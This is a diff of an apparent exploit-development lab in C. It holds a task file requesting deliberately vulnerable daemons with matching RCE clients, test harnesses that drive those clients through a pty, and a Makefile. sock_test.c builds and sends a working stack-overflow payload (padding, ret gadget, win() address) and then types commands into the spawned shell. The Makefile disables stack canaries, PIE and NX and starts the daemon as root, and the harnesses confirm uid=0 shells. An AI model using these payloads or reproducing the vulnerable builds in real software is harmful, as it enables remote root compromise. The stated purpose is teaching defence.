/* Proofs a real program ran inside the far-side shell. Matching is strict:
* "uid=" must be followed by digits and a parenthesis -- i.e. the exact
* shape of `id` output ("uid=1000(hanez)"). A bare "uid=" substring is NOT
* enough, because foosc's own diagnostics print "target euid=1000
* ruid=1000", and both "euid="/"ruid=" contain "uid=". That accidental
* substring made the hardened-build tests report id_output=SEEN while no
* shell existed -- the false positive this strict match eliminates. */
#define IDOUT "uid="
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
* older "uid=0( root)"-style output of any id implementation; only 'id' can
* print this line, and the parenthesis rules out any foosc/daemon chatter. */
#define ROOTOUT "uid=0("
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
* by one or more digits and then '(' . That is the signature of `id`'s
* output and of nothing foosc or foosd prints. */
static int saw_real_uid_output(const char *t)
{
const char *p = t;
while ((p = strstr(p, IDOUT)) != NULL) {
const char *q = p + 4; /* past "uid=" */
int digits = 0;
while (*q >= '0' && *q <= '9') {
q++;
digits++;
}
if (digits > 0 && *q == '(')
return 1;
p = q; /* keep scanning for the next "uid=". */
}
return 0;
}
/* Everything the pty has ever produced, scanned after every drain so a
* marker straddling a read() boundary cannot be missed. */
static char transcript[65536];
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
* and append to the transcript. select() with a deadline keeps us from
* spinning while the (interactive, silent) shell thinks. */
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* A chatty peer should not hold us forever: reset the deadline. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: shellcode)";
}
int main(int argc, char **argv)
{
int master;
char slave_name[256];
struct termios saved;
int have_saved = 0;
pid_t pid;
int ok = 0; /* marker seen */
int saw_id = 0; /* "uid=" seen: real program ran */
int saw_root = 0; /* "uid=0(" seen: it was root */
int must_root = 0; /* --must-root flag */
int round;
/* True when --must-root is present: the verdict then demands uid=0. */
for (int i = 1; i < argc; i++)
if (strcmp(argv[i], "--must-root") == 0)
must_root = 1;
/* ---- 1. Allocate a pty. ------------------------------------------ */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs foosc. --- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/* Forward everything except our own --must-root / --dump plumbing,
* which foosc's getopt() would reject. */
args[n++] = (char *)"./foosc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--must-root") == 0)
continue;
if (strcmp(argv[i], "--dump") == 0) {
i++;
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
* ECHO off is load-bearing (see the header comment). ECHONL stays on so
* we still see the newline when the pty processes our input. */
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1;
quiet.c_lflag &= ~(tcflag_t)ECHO;
quiet.c_lflag |= ECHONL;
tcsetattr(master, TCSANOW, &quiet);
}
/* ---- 4. Wait out foosc's analysis + connect + payload phases. ----- */
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. --------------------------------- */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have the signals we need (or give up). ----- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/* Rescan the WHOLE transcript, not the latest chunk: strings can
* straddle read() boundaries. */
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (saw_real_uid_output(transcript)) saw_id = 1;
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
/* --must-root: require everything. Otherwise require a live shell. */
if (must_root) {
if (ok && saw_id && saw_root)
break;
} else if (ok && saw_id) {
break;
}
}
/* ---- 7. Tidy up. ------------------------------------------------- */
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/* Optional --dump for post-mortems: pty_suid_test -t shellcode --dump x */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_suid_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr,
"\n[pty_suid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING",
saw_root ? "SEEN" : "MISSING");
if (must_root)
return (ok && saw_id && saw_root) ? 0 : 1;
return (ok && saw_id) ? 0 : 1;
}

25
task.txt Normal file
View file

@ -0,0 +1,25 @@
TASKS:
------
1.] Create a daemon named food that listens on port 2342 that is
exploitable via an RCE exploit by executing shell code. Also create the
corresponding exploit named fooc which connects to the daemon and opens a remote
shell on that daemon by using an exploit for food. I want to learn how these
things work to protect my software aginst the kind of bugs. Also comment all
lines of code to make it easy for me to understand what is going on. Please
create all code in the C language using C99.
2.] Also add a daemon named foodsd which will get the suid bit set and is
exploitable and a client named foosc which will open a root shell via an RCE by
executing shellcode. Tell when I should set the suid bit if you need this for
testing. Please create all the new code in a subdirectory named ./suid. Also
comment all code lines like you did before and add a README.md like you did for
food and fooc. Please create all code in the C language using C99.
3.] Create all the same but now we will not use suid bit set. Create a
daemon named foowosd which is exploitable and a client named foowosc which will
open a root shell via an RCE by executing shellcode. Please create all the new
code in a subdirectory named ./wosuid. Also comment all code lines like you did
before and add a README.md like you did for food and fooc. Please create all
code in the C language using C99.

279
tests/pty_test.c Normal file
View file

@ -0,0 +1,279 @@
/*
* pty_test.c -- test harness: drive ./fooc through a pseudo-terminal so the
* interactive shell it spawns has a terminal on its stdin.
*
* Test scaffolding, not part of the lab. It exists because the exploit's final
* act is to replace its own stdin/stdout with the TCP socket and exec a shell.
* Anything already sitting on the real stdin (a pipe, a here-doc) is discarded
* at that moment, so the commands must arrive via a real tty or not at all.
*
* Usage: pty_test <fooc-args...>
* e.g. pty_test -t ret2win
* pty_test -t shellcode
*
* Exit status: 0 if the "PWNED-OK" marker appeared in the session.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(), for a timeout that is not a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(), cfmakeraw(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The marker we type; seeing it back proves we really got a shell. */
#define MARKER "PWNED-OK"
/*
* The two things we require before calling a technique a success. Both must
* appear, and neither is present in the harness's own output:
*
* MARKER the literal string our `echo` prints
* "uid=" the first two fields of `id` output, i.e. a real program really
* ran inside a real shell on the far side of the connection
*
* MARKER alone is not sufficient. It also occurs in the command line we typed,
* so a terminal that merely echoes input -- or any harness that checks a
* single read() chunk -- would score a false positive. "uid=" can only come
* from a live shell executing a program, which is the claim under test.
*/
#define MARKER "PWNED-OK"
#define IDOUT "uid="
/*
* transcript -- everything the pty has ever given us, appended by
* drain_master(). The success check scans this rather than individual read()
* chunks, because a marker can straddle a chunk boundary and a per-chunk
* strstr() would miss a genuine success. Generously sized; a few tens of KB is
* far more than a `id`/`uname` session produces.
*/
static char transcript[65536];
/*
* drain_master() -- read whatever is available on the pty master, for at most
* `ms` milliseconds, echoing it to our stdout and returning the number of
* bytes seen.
*
* Everything goes to ONE stream, stdout. An earlier version sent pre-shell
* output to stderr and shell output to stdout, which meant the two halves of
* the session landed in different places: running the harness with
* `2>/dev/null` silently ate the first line of every command's output and made
* `uid=1000(hanez)` look like `(hanez)`. Concatenating onto one stream means
* the transcript reads in order and can be piped without surprises.
*
* select() with a timeout, rather than a bare read(), keeps this from
* spinning: we genuinely stop when the far end goes quiet, which matters
* because the shell is interactive and silent for long stretches.
*/
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
/* select() returns >0 readable, 0 on timeout, -1 on error. */
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
/* Keep a copy for the success check, so it is not lost between chunks. */
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* Reset the deadline so a chatty peer cannot keep us here forever. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
/*
* technique_of() -- find the value of fooc's -t flag in our own argv, so the
* summary line names the technique we actually ran rather than the option
* letter that introduced it.
*/
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: ret2win)";
}
int main(int argc, char **argv)
{
int master; /* pty master end: our window in. */
char slave_name[256]; /* Path of the pty slave. */
struct termios saved; /* The terminal state to restore. */
int have_saved = 0; /* Did tcgetattr() succeed? */
pid_t pid; /* The child running fooc. */
int ok = 0; /* Did the marker come back? */
int saw_id = 0; /* Did real `id` output come back? */
int round; /* Which read phase we are in. */
/* ---- 1. Allocate a pty. --------------------------------------------- */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs fooc. ------- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/*
* Pass everything through to fooc except our own --dump flag and its
* argument, which fooc's getopt() would reject and exit on.
*/
args[n++] = (char *)"./fooc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--dump") == 0) {
i++; /* Skip the filename too. */
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/*
* ---- 3. Terminal settings: cooked, but SILENT.
*
* We deliberately do NOT call cfmakeraw(). A real interactive shell needs
* an ordinary line-discipline terminal: input line-buffered, signals
* generated, and (on this system) bash's bracketed-paste sequences. Raw
* mode made the shell misbehave and the harness see nothing back even
* though the exploit was working perfectly.
*
* We DO turn ECHO off, and that detail is load-bearing. The marker we
* check for appears in the command line itself ("echo PWNED-OK"), so with
* echo enabled the pty cheerfully sends our own keystrokes back to us and
* the harness reports success whether or not a shell ever ran. That is a
* false positive, and it hid a real failure here: the shellcode technique
* was crashing (the target's stack is non-executable) while the test
* cheerfully printed marker=SEEN.
*
* So: everything default except ECHO. That gives us a real terminal for
* the shell, without the pty lying to us about what came back.
*/
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1; /* Saved purely so we can restore it on exit.*/
quiet.c_lflag &= ~(tcflag_t)ECHO; /* ICANON, ISIG stay ON. */
quiet.c_lflag |= ECHONL; /* ...but keep the newline. */
tcsetattr(master, TCSANOW, &quiet);
}
/*
* ---- 4. Wait for the exploit to finish analysing, connecting, sending
* the payload and exec'ing the shell.
*
* fooc does a full objdump analysis plus a /proc/self/mem scan before it
* sends anything, and only then does it hand the socket to a shell. Any
* bytes we type before that point are written to the pty and then thrown
* away when fooc dup2()s the socket over its own stdin, so we must wait.
*/
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. ------------------------------------ */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have both signals (or we give up). ------------- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/*
* Scan everything seen SO FAR, not just the latest chunk. A string
* can straddle a read() boundary -- "PWN" in one chunk and "ED-OK" in
* the next -- and a per-chunk strstr() would then miss a real success.
* Keeping the whole transcript and rescanning it costs nothing at this
* size and removes a whole class of flaky-test nonsense.
*/
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (strstr(transcript, IDOUT) != NULL) saw_id = 1;
if (ok && saw_id)
break; /* Proof obtained; no need to keep waiting. */
}
/* ---- 7. Tidy up. --------------------------------------------------- */
kill(pid, SIGKILL); /* The shell may ignore our 'exit'. */
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/*
* Report the two signals separately so a failure is diagnosable at a
* glance: marker-without-`id` means the shell echoed our input but never
* ran anything; no marker at all means the payload never landed.
*/
/* Optionally dump the raw transcript for post-mortem debugging:
* pty_test -t shellcode --dump raw.txt
* (Anything after --dump is taken as a filename; the check still runs.) */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr, "\n[pty_test] technique=%-10s marker=%-7s id_output=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING");
return (ok && saw_id) ? 0 : 1;
}

93
tests/sock_test.c Normal file
View file

@ -0,0 +1,93 @@
/*
* sock_test.c -- verify the exploit end-to-end without a pty.
*
* Test scaffolding. This speaks the protocol itself: connect, read the banner
* and leaks, send the same payload fooc would send, then type commands and read
* replies as raw bytes over the socket. That removes the pty layer entirely, so
* a failure here is unambiguously the exploit's fault and not the harness's.
*
* It deliberately does NOT reuse fooc's payload builders -- it builds the same
* 88 bytes of 'A' plus win()'s address, plus the alignment `ret`, so that this
* test and fooc are independent checks of the same idea.
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/wait.h>
int main(int argc, char **argv)
{
struct sockaddr_in sa;
int fd, port = 2342;
char rx[4096];
size_t got = 0;
unsigned long win_addr, ret_gadget = 0x40101a;
unsigned char payload[128];
const char *marker = "SOCK-OK";
pid_t pid;
/* win()'s address, passed in so this test does not duplicate the
* disassembler that fooc already implements. */
if (argc < 2) { fprintf(stderr, "usage: sock_test <win_addr_hex> [port]\n"); return 2; }
win_addr = strtoul(argv[1], NULL, 0);
if (argc > 2) port = atoi(argv[2]);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
inet_pton(AF_INET, "127.0.0.1", &sa.sin_addr);
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 1; }
/* Read the banner and the leak lines. */
while (got < sizeof(rx) - 1) {
ssize_t n = read(fd, rx + got, sizeof(rx) - 1 - got);
if (n <= 0) break;
got += (size_t)n;
if (strstr(rx, "BUF=")) break;
}
rx[got] = 0;
printf("--- banner ---\n%s--------------\n", rx);
/* 88 bytes of padding, then the alignment `ret`, then win(). */
memset(payload, 0x41, 88);
memcpy(payload + 88, &ret_gadget, 8);
memcpy(payload + 96, &win_addr, 8);
if (write(fd, payload, 104) != 104) { perror("write"); return 1; }
printf("sent 104 bytes; win=%#lx\n", win_addr);
/* Give the daemon time to run win() and fork+exec the shell. */
usleep(700000);
/* Type commands as raw bytes, exactly as a real attacker would. */
dprintf(fd, "id; echo %s; exit\n", marker);
/* Collect the reply. */
got = 0;
for (int i = 0; i < 30 && !strstr(rx, marker); i++) {
ssize_t n;
struct timeval tv = { 0, 200000 };
fd_set fds;
FD_ZERO(&fds); FD_SET(fd, &fds);
if (select(fd + 1, &fds, NULL, NULL, &tv) <= 0) continue;
n = read(fd, rx + got, sizeof(rx) - 1 - got);
if (n <= 0) break;
got += (size_t)n;
rx[got] = 0;
}
printf("--- reply ---\n%s--------------\n", rx);
int ok = strstr(rx, marker) != NULL;
printf("[sock_test] marker: %s\n", ok ? "SEEN" : "MISSING");
close(fd);
(void)pid; (void)waitpid;
return ok ? 0 : 1;
}

17
wosuid/.gitignore vendored Normal file
View file

@ -0,0 +1,17 @@
# Build products
foowosd
foowosc
foowosd_hardened
tests/pty_wosuid_test
# Assembly verification scratch
shellcode.bin
.sc_c_raw.txt
.sc_c.txt
.sc_asm.txt
# Logs
foowosd.log
foowosd_hardened.log
*.log

368
wosuid/Makefile Normal file
View file

@ -0,0 +1,368 @@
# ============================================================================
# Makefile -- builds the wosuid lab: foowosd (a daemon that is root because it
# was STARTED as root), foowosc (the exploit), and the test harness.
# ============================================================================
#
# make build foowosd, foowosc and the test harness
# make run start foowosd as your NORMAL user (baseline: no root)
# make run-root start foowosd as ROOT via sudo (the interesting case)
# make run-root-ns start foowosd as uid 0 inside a user namespace --
# no sudo needed; uses the same kernel path as real root
# make status report what state the daemon is running in
# make test technique matrix against a NON-root daemon
# (every technique lands a shell; root expected MISSING)
# make test-root the matrix with --must-root against a ROOT daemon
# (every technique must now yield uid=0)
# make verify prove the bytes in foowosc.c equal what shellcode.S makes
# make hardened rebuild foowosd with all mitigations ON (expect failure)
# make test-hardened show which techniques the mitigations kill
# make stop stop the daemon (hint if it needs sudo)
# make clean remove build products
#
# ---------------------------------------------------------------------------
# THE ONE IDEA OF THIS LAB
# ---------------------------------------------------------------------------
# There is NO setuid bit: nothing in this directory ever chmods +s. foowosd
# becomes root the way real daemons do -- somebody STARTS it as root
# (`sudo make run-root`, or a systemd unit with User=root). The exploit then
# yields `uid=0(root)` shells, because the *process* is root, and the kernel
# honestly cannot tell "root because of the +s bit" from "root because root
# started it". That distinction is the whole lab: memory-safety bugs in
# privileged processes are privilege-escalation bugs, filesystem attributes
# notwithstanding.
#
# make run -> ruid=euid=1000 exploit lands a USER shell
# make run-root -> ruid=euid=0 exploit lands a ROOT shell (real)
# make run-root-ns -> ruid=euid=0 exploit lands a ROOT shell (uid-0
# in a user namespace; for anyone
# without sudo, and for CI)
#
# Because the root state here sets BOTH real and effective uid to 0, no
# setreuid prefix is needed in the shellcode (contrast the suid lab, where
# the +s bit left ruid at 1000). All three techniques -- shellcode, ret2win,
# ret2libc -- yield root when the daemon is root, and user shells when it is
# not. The verdicts are symmetric and honest.
#
# IMPORTANT: the suid lab owned a root binary; this lab owns a root PROCESS.
# The cleanup ritual matters the same way: `make stop` and do not leave a
# root-started daemon from a vulnerable lab listening anywhere.
# ============================================================================
CC ?= gcc
CSTD := -std=c99
# We do NOT use -Werror: the deliberate overflow triggers
# -Wstringop-overflow in foowosd.c and that warning is supposed to fire.
WARN := -Wall -Wextra
DBG := -O0 -g
# --- the vulnerable build -----------------------------------------------------
# Same deliberate removals as the other two labs: no canary, no PIE, an
# executable stack. None of them has anything to do with HOW the process got
# root; a hardened build of this same source is still a root daemon if root
# started it -- just a harder-to-abuse one.
VULN := -fno-stack-protector -no-pie -z execstack
# --- the hardened build -------------------------------------------------------
HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack
TESTCFLAGS := $(CSTD) $(DBG) $(WARN)
# Port: 2344 keeps this lab clear of food (2342) and foosd (2343).
PORT ?= 2344
all: foowosd foowosc tests/pty_wosuid_test
# -----------------------------------------------------------------------------
# The daemon and the exploit. Note the exploit builds with mitigations ON:
# the attacker gains nothing by self-weakening, and it proves the toolchain
# works in a hardened process too.
# -----------------------------------------------------------------------------
foowosd: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $<
foowosc: foowosc.c
$(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl
tests/pty_wosuid_test: tests/pty_wosuid_test.c
$(CC) $(TESTCFLAGS) -o $@ $<
# -----------------------------------------------------------------------------
# run: baseline -- the daemon as YOUR user. Useful to prove (a) the exploit
# mechanics are independent of privilege, and (b) that without a root process
# there is no root shell. The exploit prints exactly that warning.
# -----------------------------------------------------------------------------
run: foowosd
@rm -f foowosd.log
@echo "=== starting foowosd as $$(id -un) (NOT root; baseline only)"
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
echo "=== foowosd is running (pid $$(pgrep -x foowosd | head -1))"; \
echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \
grep '\[stack\]' /proc/$$(pgrep -x foowosd | head -1)/maps; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
# -----------------------------------------------------------------------------
# run-root: THE interesting case. Starts the daemon as real root (sudo), so
# the process has ruid == euid == 0 and the exploit yields uid=0(root).
# -----------------------------------------------------------------------------
run-root: foowosd
@if [ "$$(id -u)" -eq 0 ]; then \
rm -f foowosd.log; \
echo "=== already root; starting foowosd directly"; \
setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true; \
else \
echo "=== starting foowosd as ROOT via sudo (process uid will be 0)"; \
sudo sh -c 'rm -f foowosd.log; setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null &'; \
fi
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
echo "=== foowosd is running (pid $$pid)"; \
echo "=== process euid: $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
@echo
@echo "=== now: make test-root"
@echo "=== when done: make stop"
# -----------------------------------------------------------------------------
# run-root-ns: the no-password road to a genuinely uid-0 daemon. unshare -r
# maps your ids to 0 inside a fresh user namespace, then execs foowosd, which
# therefore runs with ruid == euid == 0 -- the same uids the kernel hands a
# real root process. Every syscall the exploit touches (bind, read, execve,
# the '# id' proof) behaves identically, so this exercises the ENTIRE root
# path with no sudo. It is a verification tool and CI-friendly; real root via
# run-root is the production-grade final demo.
# -----------------------------------------------------------------------------
run-root-ns: foowosd
@command -v unshare >/dev/null 2>&1 || { \
echo "!!! unshare not available (util-linux); use 'sudo make run-root'"; \
exit 1; }
@rm -f foowosd.log
@echo "=== starting foowosd inside a user namespace as uid 0 (no sudo)"
@setsid nohup unshare -r ./foowosd > foowosd.log 2>&1 </dev/null & \
disown 2>/dev/null || true
@sleep 1
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
echo "=== foowosd is running (pid $$pid)"; \
echo "=== process euid (namespaced): $$(ps -o euid= -p $$pid | tr -d ' ') (0 means root)"; \
echo "=== startup log line (uid/euid state):"; \
grep startup foowosd.log; \
else \
echo "=== foowosd failed to start; see foowosd.log"; exit 1; \
fi
@echo
@echo "=== now: make test-root (and, when done: make stop)"
stop:
@if pgrep -x foowosd >/dev/null; then \
pkill -x foowosd; sleep 0.5; \
if pgrep -x foowosd >/dev/null; then \
echo "=== foowosd is root-owned and pkill needs privileges:"; \
echo " sudo pkill -x foowosd"; \
else \
echo "=== foowosd stopped"; \
fi; \
else \
echo "=== foowosd was not running"; \
fi
@# Also clean up a leftover hardened daemon; it would hold the port.
@# Linux comm names are truncated to 15 chars, so -x must match
@# 'foowosd_hardene', not the full filename.
@if pgrep -x foowosd_hardene 2>/dev/null; then \
pkill -x foowosd_hardene 2>/dev/null; sleep 0.5; \
echo "=== foowosd_hardened stopped"; \
fi
status:
@if pgrep -x foowosd >/dev/null; then \
pid=$$(pgrep -x foowosd | head -1); \
euid=$$(ps -o euid= -p $$pid | tr -d ' '); \
echo "=== foowosd: running, pid $$pid, euid=$$euid"; \
if [ "$$euid" -eq 0 ]; then \
echo "=== running as ROOT -> the exploit yields uid=0(root) shells"; \
else \
echo "=== running as a normal user -> the exploit yields user shells (baseline)"; \
fi; \
else \
echo "=== foowosd: not running"; \
fi
@echo "=== binary: $$(stat -c '%A %U' foowosd 2>/dev/null || echo 'not built yet')"
@echo "=== (no setuid bit is involved in this lab; there never is one)"
# -----------------------------------------------------------------------------
# test: baseline matrix against a NON-root daemon. Every technique should land
# a shell; root is expected MISSING. The verdict is pty_wosuid_test's EXIT
# STATUS, never a grep of its output.
# -----------------------------------------------------------------------------
test: tests/pty_wosuid_test
@pgrep -x foowosd >/dev/null || { \
echo "!!! foowosd is not running. Start it first: make run"; exit 1; }
@fail=0; \
echo "=== ret2win (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t ret2win 2>&1 >/dev/null || fail=1; \
echo "=== ret2libc (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t ret2libc 2>&1 >/dev/null || fail=1; \
echo "=== shellcode (baseline: shell, root MISSING -- daemon not root)"; \
./tests/pty_wosuid_test -t shellcode 2>&1 >/dev/null || fail=1; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== all techniques landed shells against the non-root daemon."; \
echo "=== To see them land ROOT shells, run the daemon as root:"; \
echo "=== make stop && make run-root && make test-root"; \
else \
echo "=== at least one technique failed against the non-root daemon."; \
echo "=== Check foowosd.log and the marker= lines above."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# test-root: the whole point. Demands the daemon actually run with uid 0
# (checked two ways: a running process, and the log's "ROOT process" line),
# then runs every technique with --must-root. A clean pass means all three
# yielded uid=0(root) shells -- root RCE with no setuid bit anywhere.
# -----------------------------------------------------------------------------
test-root: tests/pty_wosuid_test
@pgrep -x foowosd >/dev/null || { \
echo "!!! foowosd is not running. Start it first:"; \
echo " sudo make run-root (or: make run-root-ns)"; exit 1; }
@grep -q -- '-> ROOT process' foowosd.log || { \
echo "!!! foowosd is running but NOT as root (see foowosd.log)."; \
echo " Restart it as root: sudo make run-root (or make run-root-ns)"; \
exit 1; }
@fail=0; \
for t in ret2win ret2libc shellcode; do \
echo "=== $$t (must yield uid=0(root))"; \
if ./tests/pty_wosuid_test -t $$t --must-root 2>&1 >/dev/null; then \
echo "--- $$t: ROOT shell confirmed"; \
else \
fail=1; echo "--- $$t: FAILED to get root"; \
fi; \
done; \
echo; \
if [ $$fail -eq 0 ]; then \
echo "=== ALL techniques yielded uid=0(root) shells."; \
echo "=== Root RCE with NO setuid bit: the process was root because"; \
echo "=== root started it. See README.md for why this is the whole point."; \
else \
echo "=== root escalation FAILED for at least one technique."; \
fi; \
exit $$fail
# -----------------------------------------------------------------------------
# verify: prove the shellcode bytes in foowosc.c are byte-for-byte what nasm
# produces from shellcode.S.
# -----------------------------------------------------------------------------
verify verify-shellcode: shellcode.S foowosc.c
@command -v nasm >/dev/null 2>&1 || { \
echo "verify-shellcode: nasm is not installed; skipping."; \
echo " (Arch: pacman -S nasm)"; exit 0; }
@echo "=== Assembling shellcode.S ..."
@nasm -f bin -o shellcode.bin shellcode.S
@echo "=== nasm output:"
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//'
@echo
@# Pull the hex list out of the C array. Strip the trailing /* */ annotations
@# first (they mention hex constants like "0x3b"), then grep the literals.
@sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foowosc.c \
| sed -e 's,/\*.*\*/,,' \
| grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \
| tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \
> .sc_c_raw.txt
@echo "=== bytes declared in foowosc.c's SHELLCODE[] array:"
@cat .sc_c_raw.txt
@echo
@echo "=== comparing ..."
@sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt
@od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \
-e 's/[[:space:]]*$$//' > .sc_asm.txt
@if cmp -s .sc_c.txt .sc_asm.txt; then \
n=$$(wc -c < shellcode.bin); \
